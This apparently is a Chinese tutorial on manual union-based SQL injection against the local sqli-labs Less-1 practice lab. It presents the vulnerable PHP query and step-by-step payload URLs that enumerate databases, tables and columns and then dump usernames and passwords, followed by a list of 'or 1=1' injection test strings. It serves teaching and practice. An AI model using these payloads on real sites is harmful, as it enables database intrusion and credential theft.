页面源代码分析:

mysql手工注入(有回显)

定义了一个变量$id来接受通过GET方式传递来的id值,在变量$sql里没有进行过滤直接把用户输入的id值传入了进去,当用户传入恶意id参数1'的时候变量$sql里就变成了这样:

if(isset($_GET['id']))
{
$id=$_GET['1''];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.1'."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";

当它进行数据查询的时候我们的单引号把前面的语句进行闭合了,它自带的单引号就空了出来,查询就会报错。

下面开始就开始利用吧

一.在get请求传参后面输入一个测试符号',显示数据库报错,这样可以判断出这里存在注入点

http://127.0.0.1:6868/sqli-labs-master/Less-1/?id=1'

mysql手工注入(有回显)

二.这里是有回显的情况下,所以我们需要判断显示位有哪些,payload:

http://127.0.0.1:6868/sqli-labs-master/Less-1/?id=1' order by 3 --+

order by: 判断显示位是多少(利用2分法来合理判断,当超出范围它会报错,这样来进行判断)

--+: 用来注释后面多余的字符,有时候可以用#,%27

mysql手工注入(有回显)

三.下面开始检查页面上的显示位,把get传入的参数改为一个不存在的数,构造payload:

http://127.0.0.1:6868/sqli-labs-master/Less-1/?id=1' union select 1,2,3 --+

union: 操作符用于合并两个或多个 SELECT 语句的结果集。

mysql手工注入(有回显)

三.构造查询语句并显示在2个能显示的地方,payload:

http://127.0.0.1:6868/sqli-labs-master/Less-1/?id=-1' union select 1,database(),user() --+

database() : 当前数据库名

user() : 当前用户名

version() : MySQL 版本

 @@datadir : 数据库路径

@@version_compile_os :操作系统版本

mysql手工注入(有回显)

四.爆取所有的数据库名称,payload:

http://127.0.0.1:6868/sqli-labs-master/Less-1/

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

information_schema : 好像是mysql5.0开始就有的一个库,可以方便查询

group_concat : 把所有的名字显示出来,只站一个位(数据库可能是很多个,而显示位只有1个)

mysql手工注入(有回显)

五.选择自己需要查询的数据库,查询库里的数据,payload:

http://127.0.0.1:6868/sqli-labs-master/Less-1/
?id=-1' union select 1,group_concat(table_name), 3  from information_schema.tables where

table_schema='security'--+

where : 后面加的是条件,这里意思是当数据库等于security

mysql手工注入(有回显)

六.一看有个users一般是存放用户账号密码的,我们爆取里面的数据,payload:

http://127.0.0.1:6868/sqli-labs-master/Less-1/
?id=-1' union select 1,group_concat(column_name), 3  from information_schema.columns where
table_schema='security' and table_name='users'--+

mysql手工注入(有回显)

7.数据库知道了,表知道了,字段也知道了,下面就开始爆取数据,payload:

http://127.0.0.1:6868/sqli-labs-master/Less-1/
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+

mysql手工注入(有回显)

注:这里只是一种情况,有可能其他开发者写的源代码不是用的单引号,那么我们就要更换方法了,要灵活运用

常用的检测语句:

 or 1=1--+
 'or 1=1--+
 "or 1=1--+
 )or 1=1--+
 ')or 1=1--+
 ") or 1=1--+

 "))or 1=1--+

       and xor or



感谢各位大佬赏脸,有什么不足的地方请多多指教,欢迎意见轰炸,谢谢!!!

相关文章: